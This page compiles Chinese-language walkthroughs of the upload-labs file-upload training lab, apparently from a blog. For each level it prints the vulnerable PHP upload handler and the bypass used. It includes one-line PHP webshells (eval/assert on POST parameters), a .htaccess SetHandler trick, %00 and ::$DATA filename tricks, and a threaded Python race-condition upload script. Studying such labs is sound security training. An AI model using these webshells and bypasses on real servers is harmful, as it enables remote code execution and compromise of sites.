精华内容
下载资源
问答
  • upload-labs通关手册

    2020-12-03 09:41:13
    详细记录了upload-labs靶场的通关步骤,并且附带有caidao和burpsuite工具资源,非常适合初学者!!!
  • Upload-labs通关

    2021-05-08 12:19:47
    Upload-labs通关第一关第二关 第一关 源码; function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); ...

    第一关

    源码;
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name + "|") == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
    
    思路:
    直接上传test.php木马,前端报错;尝试前端绕过,禁用浏览器的JavaScript选项;再次上传
    

    在这里插入图片描述

    第二关

    源码:
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '文件类型不正确,请重新上传!';
            }
        } else {
            $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
        }
    }
    
    思路:
    源码中只判断了content-type,于是修改content-type绕过
    

    在这里插入图片描述
    在这里插入图片描述

    第三关

    源码:
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array('.asp','.aspx','.php','.jsp');
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //收尾去空
    
            if(!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
                if (move_uploaded_file($temp_file,$img_path)) {
                     $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    思路:
    黑名单判断,于是尝试用pht,phpt,phtml,php3,php4,php5,php6绕过
    

    在这里插入图片描述
    在这里插入图片描述

    第四关

    源码:
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //收尾去空
    
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    思路:
    还是黑名单,但几乎过滤了所有有问题的后缀名,除了.htaccess
    于是首先上传一个.htaccess内容如下的文件:SetHandler application/x-httpd-php
    这样所有文件都会解析为php,然后再上传图片马,就可以解析:
    

    在这里插入图片描述
    在这里插入图片描述

    第五关

    源码:
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
    
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    思路:
    还是黑名单,加上了.htaccess,但是没有将后缀进行大小写统一,于是可以通过大小写绕过
    

    在这里插入图片描述
    在这里插入图片描述

    第六关

    源码:
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = $_FILES['upload_file']['name'];
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                if (move_uploaded_file($temp_file,$img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件不允许上传';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    思路:
    还是黑名单,但是没有对后缀名进行去空处理,可在后缀名中加空绕过
    

    在这里插入图片描述
    在这里插入图片描述

    第七关

    源码:
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    思路:
    还是黑名单,但是没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过
    

    在这里插入图片描述
    在这里插入图片描述

    第八关

    源码:
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = trim($file_ext); //首尾去空
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    思路:
    还是黑名单,但是没有对后缀名进行去”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过
    
    补充:
    在window如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
    例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"
    

    在这里插入图片描述
    在这里插入图片描述

    第九关

    源码:
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    思路:
    黑名单过滤,注意第15行和之前不太一样,路径拼接的是处理后的文件名,于是构造info.php. . (点+空格+点),经过处理后,文件名变成info.php.,即可绕过
    

    在这里插入图片描述
    在这里插入图片描述

    第十关

    源码:
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
    
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = str_ireplace($deny_ext,"", $file_name);
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;        
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    思路:
    依旧是黑名单过滤,注意到,这里是将问题后缀名替换为空,于是可以利用双写绕过
    

    在这里插入图片描述
    在这里插入图片描述

    第十一关

    源码:
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $ext_arr = array('jpg','png','gif');
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
        if(in_array($file_ext,$ext_arr)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
        }
    }
    
    思路:
    看到是白名单判断,但是$img_path直接拼接,因此可以利用%00截断绕过
    

    第十二关

    源码:
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $ext_arr = array('jpg','png','gif');
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
        if(in_array($file_ext,$ext_arr)){
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传失败";
            }
        } else {
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
        }
    }
    
    思路:
    save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码
    

    第十三关

    源码:
    function getReailFileType($filename){
        $file = fopen($filename, "rb");
        $bin = fread($file, 2); //只读2字节
        fclose($file);
        $strInfo = @unpack("C2chars", $bin);    
        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
        $fileType = '';    
        switch($typeCode){      
            case 255216:            
                $fileType = 'jpg';
                break;
            case 13780:            
                $fileType = 'png';
                break;        
            case 7173:            
                $fileType = 'gif';
                break;
            default:            
                $fileType = 'unknown';
            }    
            return $fileType;
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_type = getReailFileType($temp_file);
    
        if($file_type == 'unknown'){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    
    思路:
    通过读文件的前2个字节判断文件类型,因此直接上传图片马即可,制作方法:copy normal.jpg /b + shell.php /a webshell.jpg
    

    第十四关

    源码:
    function isImage($filename){
        $types = '.jpeg|.png|.gif';
        if(file_exists($filename)){
            $info = getimagesize($filename);
            $ext = image_type_to_extension($info[2]);
            if(stripos($types,$ext)>=0){
                return $ext;
            }else{
                return false;
            }
        }else{
            return false;
        }
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $res = isImage($temp_file);
        if(!$res){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    
    思路:
    这里用getimagesize获取文件类型,还是直接就可以利用图片马就可进行绕过
    

    第十五关

    源码:
    function isImage($filename){
        //需要开启php_exif模块
        $image_type = exif_imagetype($filename);
        switch ($image_type) {
            case IMAGETYPE_GIF:
                return "gif";
                break;
            case IMAGETYPE_JPEG:
                return "jpg";
                break;
            case IMAGETYPE_PNG:
                return "png";
                break;    
            default:
                return false;
                break;
        }
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $res = isImage($temp_file);
        if(!$res){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    
    思路:
    这里用到php_exif模块来判断文件类型,还是直接就可以利用图片马就可进行绕过
    

    第十六关

    源码:
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])){
        // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
        $filename = $_FILES['upload_file']['name'];
        $filetype = $_FILES['upload_file']['type'];
        $tmpname = $_FILES['upload_file']['tmp_name'];
    
        $target_path=UPLOAD_PATH.'/'.basename($filename);
    
        // 获得上传文件的扩展名
        $fileext= substr(strrchr($filename,"."),1);
    
        //判断文件后缀与类型,合法才进行上传操作
        if(($fileext == "jpg") && ($filetype=="image/jpeg")){
            if(move_uploaded_file($tmpname,$target_path)){
                //使用上传的图片生成新的图片
                $im = imagecreatefromjpeg($target_path);
    
                if($im == false){
                    $msg = "该文件不是jpg格式的图片!";
                    @unlink($target_path);
                }else{
                    //给新图片指定文件名
                    srand(time());
                    $newfilename = strval(rand()).".jpg";
                    //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                    $img_path = UPLOAD_PATH.'/'.$newfilename;
                    imagejpeg($im,$img_path);
                    @unlink($target_path);
                    $is_upload = true;
                }
            } else {
                $msg = "上传出错!";
            }
    
        }else if(($fileext == "png") && ($filetype=="image/png")){
            if(move_uploaded_file($tmpname,$target_path)){
                //使用上传的图片生成新的图片
                $im = imagecreatefrompng($target_path);
    
                if($im == false){
                    $msg = "该文件不是png格式的图片!";
                    @unlink($target_path);
                }else{
                     //给新图片指定文件名
                    srand(time());
                    $newfilename = strval(rand()).".png";
                    //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                    $img_path = UPLOAD_PATH.'/'.$newfilename;
                    imagepng($im,$img_path);
    
                    @unlink($target_path);
                    $is_upload = true;               
                }
            } else {
                $msg = "上传出错!";
            }
    
        }else if(($fileext == "gif") && ($filetype=="image/gif")){
            if(move_uploaded_file($tmpname,$target_path)){
                //使用上传的图片生成新的图片
                $im = imagecreatefromgif($target_path);
                if($im == false){
                    $msg = "该文件不是gif格式的图片!";
                    @unlink($target_path);
                }else{
                    //给新图片指定文件名
                    srand(time());
                    $newfilename = strval(rand()).".gif";
                    //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                    $img_path = UPLOAD_PATH.'/'.$newfilename;
                    imagegif($im,$img_path);
    
                    @unlink($target_path);
                    $is_upload = true;
                }
            } else {
                $msg = "上传出错!";
            }
        }else{
            $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
        }
    }
    
    思路:
    本关综合判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,绕过方法:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传
    

    第十七关

    源码:
    $is_upload = false;
    $msg = null;
    
    if(isset($_POST['submit'])){
        $ext_arr = array('jpg','png','gif');
        $file_name = $_FILES['upload_file']['name'];
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_ext = substr($file_name,strrpos($file_name,".")+1);
        $upload_file = UPLOAD_PATH . '/' . $file_name;
    
        if(move_uploaded_file($temp_file, $upload_file)){
            if(in_array($file_ext,$ext_arr)){
                 $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
                 rename($upload_file, $img_path);
                 $is_upload = true;
            }else{
                $msg = "只允许上传.jpg|.png|.gif类型文件!";
                unlink($upload_file);
            }
        }else{
            $msg = '上传出错!';
        }
    }
    
    思路:
    利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp安装hackhttp模块,运行下面的Python代码即可,如果还是删除太快,可以适当调整线程并发数;在脚本运行的时候,访问Webshell
    
    脚本
    #!/usr/bin/env python
    # coding:utf-8
    
    import hackhttp
    from multiprocessing.dummy import Pool as ThreadPool
    
    
    def upload(lists):
        hh = hackhttp.hackhttp()
        raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
    Cookie: pass=17
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=---------------------------6696274297634
    Content-Length: 341
    
    -----------------------------6696274297634
    Content-Disposition: form-data; name="upload_file"; filename="17.php"
    Content-Type: application/octet-stream
    
    <?php assert($_POST["LandGrey"])?>
    -----------------------------6696274297634
    Content-Disposition: form-data; name="submit"
    
    上传
    -----------------------------6696274297634--
    """
        code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw)
        print(str(code) + "\r")
    
    
    pool = ThreadPool(10)
    pool.map(upload, range(10000))
    pool.close()
    pool.join()
    

    第十八关

    源码:
    //index.php
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit']))
    {
        require_once("./myupload.php");
        $imgFileName =time();
        $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
        $status_code = $u->upload(UPLOAD_PATH);
        switch ($status_code) {
            case 1:
                $is_upload = true;
                $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
                break;
            case 2:
                $msg = '文件已经被上传,但没有重命名。';
                break; 
            case -1:
                $msg = '这个文件不能上传到服务器的临时文件存储目录。';
                break; 
            case -2:
                $msg = '上传失败,上传目录不可写。';
                break; 
            case -3:
                $msg = '上传失败,无法上传该类型文件。';
                break; 
            case -4:
                $msg = '上传失败,上传的文件过大。';
                break; 
            case -5:
                $msg = '上传失败,服务器已经存在相同名称文件。';
                break; 
            case -6:
                $msg = '文件无法上传,文件不能复制到目标目录。';
                break;      
            default:
                $msg = '未知错误!';
                break;
        }
    }
    
    //myupload.php
    class MyUpload{
    ......
    ......
    ...... 
      var $cls_arr_ext_accepted = array(
          ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
          ".html", ".xml", ".tiff", ".jpeg", ".png" );
    
    ......
    ......
    ......  
      /** upload()
       **
       ** Method to upload the file.
       ** This is the only method to call outside the class.
       ** @para String name of directory we upload to
       ** @returns void
      **/
      function upload( $dir ){
        
        $ret = $this->isUploadedFile();
        
        if( $ret != 1 ){
          return $this->resultUpload( $ret );
        }
    
        $ret = $this->setDir( $dir );
        if( $ret != 1 ){
          return $this->resultUpload( $ret );
        }
    
        $ret = $this->checkExtension();
        if( $ret != 1 ){
          return $this->resultUpload( $ret );
        }
    
        $ret = $this->checkSize();
        if( $ret != 1 ){
          return $this->resultUpload( $ret );    
        }
        
        // if flag to check if the file exists is set to 1
        
        if( $this->cls_file_exists == 1 ){
          
          $ret = $this->checkFileExists();
          if( $ret != 1 ){
            return $this->resultUpload( $ret );    
          }
        }
    
        // if we are here, we are ready to move the file to destination
    
        $ret = $this->move();
        if( $ret != 1 ){
          return $this->resultUpload( $ret );    
        }
    
        // check if we need to rename the file
    
        if( $this->cls_rename_file == 1 ){
          $ret = $this->renameFile();
          if( $ret != 1 ){
            return $this->resultUpload( $ret );    
          }
        }
        
        // if we are here, everything worked as planned :)
    
        return $this->resultUpload( "SUCCESS" );
      
      }
    ......
    ......
    ...... 
    };
    
    思路:
    ①利用上传重命名竞争+Apache解析漏洞;上传名字为18.php.7Z的文件,快速重复提交该数据包,会提示文件已经被上传,但没有被重命名;然后利用Apache的解析漏洞,即可获得shell
    ②本关对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功
    

    第十九关

    源码:
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
    
            $file_name = $_POST['save_name'];
            $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
    
            if(!in_array($file_ext,$deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' .$file_name;
                if (move_uploaded_file($temp_file, $img_path)) { 
                    $is_upload = true;
                }else{
                    $msg = '上传出错!';
                }
            }else{
                $msg = '禁止保存为该类型文件!';
            }
    
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    
    思路:
    本关考察CVE-2015-2348 move_uploaded_file() 00截断,上传webshell,同时自定义保存名称,直接保存为php是不行的;发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过
    
    展开全文
  • upload-labs通关

    2020-11-04 20:14:53
    文件上传漏洞一直是一种危害比较大的漏洞,多的我也不再解释,这一篇文章就是针对upload-labs靶场而写的。这个靶场,我们需要做到的就是成功上传webshell到目标主机上,并能够连接成功。 第一关    &...

    前言:

        文件上传漏洞一直是一种危害比较大的漏洞,多的我也不再解释,这一篇文章就是针对upload-labs靶场而写的。这个靶场,我们需要做到的就是成功上传webshell到目标主机上,并能够连接成功。

    第一关

        第一关是一个针对于前端的验证,也就是使用JavaScript进行验证。先写一个php文件,你可以写一个一句话木马,也可以写一个phpinfo,因为phpinfo看起来更加直接一点。我这里文件内容就写一个一句话木马吧。<?php @eval($_REQUEST[777])?>,[]里面可以是数字,也可以是字符串,这个将会是你使用webshell管理器连接时候的密码。

        进入正题,选择我们要上传的php文件,我这里就以关卡来命名,点击上传,出现提示,这明显的是一个js的alert提示框。我们就来尝试进行绕过。
    在这里插入图片描述
    绕过前端的验证有两种方法:

    1. 浏览器禁用js。
    2. 先通过其前端的js验证,再到burpsuite里面修改数据包。

        先来第一种,以谷歌浏览器为示范,在“设置->隐私设置和安全性->网站控制”,将JavaScript设置为禁止,再次上传,上传成功。

        接着第二种方法,首先要通过其前端的验证,前端要求我们只能上传那三种类型的文件,那么我们改名为.jpg文件吧
    在这里插入图片描述
    在这里插入图片描述
        上传成功,给我们返回了图片,虽然这图片不能看,但不影响,毕竟它本来就不是图片
    在这里插入图片描述
        右键图片,复制出图片地址,http://192.168.2.134/upload-labs-master/upload/1.php进行访问果然是一片空白,但没关系,因为他本来就是一片空白,哈哈ヽ( ̄▽ ̄)ノ。这时我们就需要上webshell管理器,比较著名的有菜刀,蚁剑,冰蝎。。。这里就用蚁剑吧,这是蚁剑的首页
    在这里插入图片描述

        右键空白处添加数据,连接密码就是之前设的那个
    在这里插入图片描述
        之后连接成功就可以访问到对方电脑里的东西了
    在这里插入图片描述
        或者是右键单击数据,启用虚拟终端,我们来whoami一下,可以看到我们现在是管理员用户,所以能干的事情就比较多。如果我们不是管理员权限,而是一个普通的web用户,那可以做的事就非常少,我们就需要“提权”,如果能获取到system权限,那就可以横着走了。这里只是提出这样一个概念,因为我也不会。
    在这里插入图片描述
        这关就算完成了,这关其实很简单,主要就是介绍了一下前端的验证,以及文件上传可以干个啥事。
        这一关希望大家记住一句话 “所有前端的验证机制都是不安全的”,因为前端的东西是用户可控制的。
        这里来进行一波代码审计,看一下有些什么函数

    <?php
    include '../config.php';
    include '../head.php';
    include '../menu.php';
    
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            //取出文件上传后临时存储的文件名
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
            //生成一个新的文件存储路径,文件名保持文件上传前的文件名
            if (move_uploaded_file($temp_file, $img_path)){
            //move_uploaded_file函数把上传的文件移动到新的位置,成功则返回true,失败则返回false
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    ?>
    

        这里先是包含几个文件,然后出现了一些新的函数
        file_exists函数检查文件或目录是否存在。如果指定的文件或目录存在则返回 TRUE,否则返回 FALSE。
        而UPLOAD_PATH这个常量在config.php文件中,有这么一段代码define("UPLOAD_PATH", "../upload");,进行了设置。
